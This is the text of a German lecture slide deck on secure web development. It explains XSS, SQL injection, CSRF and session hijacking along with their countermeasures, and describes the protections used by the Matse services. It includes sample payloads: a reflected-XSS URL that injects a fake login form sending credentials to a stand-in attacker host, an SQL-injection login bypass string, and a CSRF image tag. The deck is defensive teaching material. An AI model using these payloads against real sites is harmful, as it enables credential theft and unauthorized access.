 
                                Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen Rechen- und Kommunikationszentrum (RZ) Inhaltsverzeichnis  Motivation  Angriffstechniken  Ablauf/Vorgehen des Angreifers  Abwehrmaßnahmen  Matse-Dienste  Überblick  Abwehrmaßnahmen  Fazit 2 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Motivation 3 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Motivation  Verdeutlichung der Relevanz von Sicherheit  Software- und Webentwickler  Endbenutzer  Überprüfung der Matse-Dienste auf Sicherheitslücken  Sind eventuell welche vorhanden?  Welche Sicherheitsvorkehrungen wurden getroffen ? 4 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Angriffstechniken 5 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Angriffstechniken  Cross-Site-Scripting  Ablauf  Gegenmaßnahmen  SQL Injection  Cross-Site-Request-Forgery  Session Hijacking 6 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Cross-Site-Scripting 7 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Cross-Site-Scripting (XSS)  Manipulation einer Webseite durch HTML  3 Arten: 1. Reflektives XSS: Einmalige Interpretation der übermittelten HTML-Tags 2. Persistentes XSS: HTML-Code wird abgespeichert Dadurch Übermittelung der Daten an mehrere Personen/Browser 3. Lokales XSS: Der Browser lädt den Schadcode selber nach Verwendung des HTML-Tags <script> 8 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Beispiel: Ablauf Reflektives XSS  Ausgangspunkt:  URL: http://www.example.com/?search=test 9 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Beispiel: Ablauf Reflektives XSS  Manipulierte Webseite:  URL: http://www.example.com/?search=<br%2F>+Please+Login+to+ continue%3A+<form+action%3D„htttp://angreifer.de/attacke.php">+ Username%3A+<input+type%3D"text+name%3D„name">+ <br%2F>+Password%3A+<input+type%3D"text"+name%3D"pwd">+ <br%2F>+<input+type%3D"submit"+value%3D"Login">+ <%2Fform>+<br%2F> 10 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehrmaßnahmen  Verhindern der Interpretation von ungewollten HTML-Tags  Maskierung der eingegeben Daten PHP Funktion: htmlspecialchars() Dadurch Maskierung der HTML-Tags: <script> = &lt;script&gt;  Ausgabe nach Verwendung von htmlspecialchars():  You searched for <br%2F>+Please+Login+to+continue%3A +<form+action%3D„http://www.angreifer.de/attacke.php">+Username%3A+<input+type%3D"text+name%3D"login">+ <br%2F>+Password%3A+<input+type%3D"text"+name%3D"pwd">+<br%2F>+<input+type%3D"submit"+ value%3D"Login">+<%2Fform>+<br%2F> 11 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum SQL Injection 12 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum SQL Injection  Angriff auf Datenbanksysteme  Benutzereingaben werden in Statement eingebettet  Verwendung von SQL Statements durch Befehle wie:  DROP  UPDATE  DELETE  WHERE 13 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Beispiel: SQL Injection  Datenbanktabelle „user“ : 14 ID name password 1 Admin root123 2 ExampleUser passwd123 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Beispiel: Ablauf SQL Injection SQL Statement: SELECT id FROM user WHERE name='$name' AND password='$password'; Benutzer PC Eingabe: ExampleUser , passwd123 SELECT id FROM user WHERE name='ExampleUser' AND password='passwd123'; 15 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Beispiel: Ablauf SQL Injection SQL Statement: SELECT id FROM user WHERE name='$name' AND password='$password'; Angreifer PC Eingabe: ExampleUser , ' OR name='ExampleUser SELECT id FROM user WHERE name='ExampleUser' AND password='' OR name='ExampleUser'; 16 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehrmaßnahmen  Verhindern der Interpretation von ungewollten SQL Befehlen  Verwendung von Prepared Statements (vorbereitete Anweisungen mit Platzhaltern für Daten) $sql = 'SELECT * FROM beispiel WHERE name=:nachname'; $sth = $dbh->prepare($sql); $sth->bindValue(":nachname", $var); $sth->execute();  Statement wird mit Platzhaltern kompiliert  SQL Befehle in Variablen werden nur eingefügt 17 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Cross-Site-Request-Forgery 18 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Cross-Site-Request-Forgery (CSRF)  Gefälschte Anfrage erzwingen  Angreifer schickt über den Browser des Benutzers eine Anfrage an den Webserver  Manipulation einer Webseite durch HTML  Manipulation einer Webseite damit die gefälschte Anfrage versendet wird 19 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Beispiel: Ablauf CSRF  Besucher besitzt einen Account bei forum.de http://www.forum.de/login.php http://www.forum.de/logout.php Webserver evil.de Webserver forum.de http://www.evil.de <img src="http://www.forum.de/logout.php"> PC Status: Angemeldet Offline 20 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehrmaßnahmen  Überprüfung der Anfrage:  Generierung eines Schlüssels zur Identifikation Zufällige Zeichenkette Gilt entweder für einen Request oder gesamte Sitzung Vorhanden auf Server- sowie auf Clientseite 21 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehrmaßnahmen  Besucher besitzt einen Account bei forum.de http://www.forum.de/login.php http://www.forum.de/logout.php Webserver evil.de Schlüssel='AdEzHdf..' Webserver forum.de KeinSchlüssel= Schlüssel 'AdEzHdf..' !!! http://www.evil.de <img src="http://www.forum.de/logout.php"> PC Status: Angemeldet Schlüssel='AdEzHdf..' 22 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Session Hijacking 23 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Session Hijacking  Übernahme der Sitzung eines Benutzers  Angreifer erlangt Zugriff auf Webapplikation  Angreifer erhält Rechte des Benutzers  Verwendung von Software wie z.B.Wireshark oder Firesheep 24 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Beispiel: Ablauf Session Hijacking Ungesichertes WLAN Netzwerk ID = ACF3... Kommunikation mit Login Session ID PC Session ID= ACF3D35F21… Webserver Abhören der ID Session ID= ACF3D35F21… Kommunikation mit Session ID PC ID = ACF3... 25 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehrmaßnahmen  Verhindern des Auslesens der Sitzungsdaten  Verschlüsseln der Informationen  Dazu HTTPS ( Hypertext Transfer Protocol Secure)  HTTPS:  Verschlüsselung und Authentifizierung zwischen Webserver und Browser 26 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Matse-Dienste 27 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Matse-Dienste  Überblick  Gegenmaßnahmen  Cross-Site-Scripting  Cross-Site-Request-Forgery  Session Hijacking 28 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Überblick 29 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Überblick 30 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehrmaßnahmen Cross-Site-Scripting Session Hijacking Cross-Site-Request-Forgery 31 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehr Cross-Site-Scripting 32 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Matse-Dienste Abwehrmaßnahmen: Cross-Site-Scripting  Trennung von Code und Ausgabe  Verwendung von Template Engine Smarty (PHP-Bibliothek)  Smarty 33 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehr Session Hijacking 34 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Matse-Dienste Abwehrmaßnahmen: Session Hijacking  Kooperation mit der Benutzerverwaltungssoftware Shibboleth 35 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Matse-Dienste Abwehrmaßnahmen: Session Hijacking  Ablauf Anmeldung:  Benutzer führt ein Login bei Shibboleth durch  Shibboleth authentifiziert den Benutzer und übermittelt Daten mittels HTTPS TIM-ID und über HTTPS generierte Sitzungs-ID 36 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehr Cross-Site-Request-Forgery 37 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Matse-Dienste Abwehrmaßnahmen: Cross-Site-Request-Forgery  Matse-Dienste eigene CSRF-Klasse  POST-Formular mit Hidden Feld und enthaltenem Token  Generiert durch Webserver und dem Benutzer zugeteilt  Ablauf:  Browser schickt ein Formular ab  Formular wird über mitgesendetes Token authentifiziert und abgearbeitet 38 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Fazit 39 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Fazit  Erkenntnisse: 1. Viele Möglichkeiten Systeme zu kompromittieren 2. Vorgestellte Themen nur ein kleiner Anteil 3. Matse-Dienste soweit abgesichert  Trotzdem: 1. Programme/Software werden weiterentwickelt Dadurch können neue Sicherheitslücken entstehen 2. 40 Neue Angriffstechniken entstehen Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Fazit Aspekt der Sicherheit kein einmaliger Faktor sondern ein dauerhafter Prozess der Analyse und Behebung 41 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Fragen ? 42 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum